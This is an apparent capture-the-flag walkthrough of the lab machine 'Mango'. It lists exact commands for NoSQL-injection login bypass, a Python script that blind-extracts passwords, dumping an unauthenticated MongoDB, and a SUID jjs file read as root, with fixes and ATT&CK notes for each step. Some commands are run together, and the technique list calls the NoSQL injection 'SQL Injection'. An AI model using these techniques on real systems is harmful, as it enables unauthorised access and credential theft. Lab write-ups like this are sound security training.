Mango
Summary
Target Conquest Mango ($TARGET) was fully compromised through a chain of three distinct weaknesses. Inspecting the HTTPS TLS certificate disclosed an internal virtual hostname — staging-order.mango.htb — hosting a PHP login form backed by MongoDB.
That form passed raw POST parameters into MongoDB queries without sanitization, enabling NoSQL operator injection that blind-extracted the OS password for local user 'mango'. From that SSH foothold, a MongoDB instance bound to localhost with authentication entirely disabled exposed the plaintext OS password for a second account, 'admin', stored directly in the application database.
Switching to 'admin' captured the user flag. A final escalation abused a SUID-root copy of Oracle's Nashorn JavaScript engine (jjs) — shipped with OpenJDK 11 — to run arbitrary Java file I/O as root and read /root/root.txt, achieving full system compromise without cracking a hash or exploiting a kernel vulnerability.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -sV -p22,80,443 $TARGETopenssl s_client -connect $TARGET:443 -servername $TARGET </dev/null 2>/dev/null | openssl x509 -noout -subjectecho "$TARGET staging-order.mango.htb mango.htb" | sudo tee -a /etc/hostscurl -sk https://staging-order.mango.htb/ | grep -i 'form\|input\|login'FixRemove internal hostnames from public-facing TLS certificatesMedium
Exact commands 3
curl -sk -X POST 'https://staging-order.mango.htb/' -d 'username[$ne]=x&password[$ne]=x&login=login' -L -D - | head -10curl -sk -X POST 'https://staging-order.mango.htb/' -d 'username=mango&password[$regex]=^h&login=login' -L | grep -c logoutpython3 - <<'PYEOF'
import requests, string, urllib3
urllib3.disable_warnings()
url = 'https://staging-order.mango.htb/'
for user in ['mango', 'admin']:
pwd = ''
while True:
hit = False
for c in string.printable.strip():
data = {'username': user, 'password[$regex]': '^' + pwd + c, 'login': 'login'}
r = requests.post(url, data=data, verify=False, allow_redirects=True)
if 'home' in r.url:
pwd += c; hit = True; break
if not hit:
break
print(user + ':' + pwd)
PYEOFFixParameterize MongoDB queries to prevent NoSQL injectionCritical
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password mango@$TARGET 'id; hostname'Exact commands 2
mongo --quiet --eval "db.adminCommand({listDatabases:1}).databases.forEach(function(d){print(d.name)})"mongo --quiet mango --eval "db.users.find({},{username:1,password:1,_id:0}).forEach(printjson)"FixEnable MongoDB authentication and remove plaintext OS credential storageCritical
Exact commands 1
printf '%s\n' '$PASSWORD2' | sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password mango@$TARGET "su admin -c 'id; cat /home/admin/user.txt'"Exact commands 2
find / -perm -4000 -type f 2>/dev/nullecho 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("/root/root.txt")); print(br.readLine());' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjsFixRemove the SUID bit from the JDK Nashorn interpreter (jjs)High
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 |
| 443/tcp | ssl/http Apache httpd 2.4.29 ((Ubuntu)) |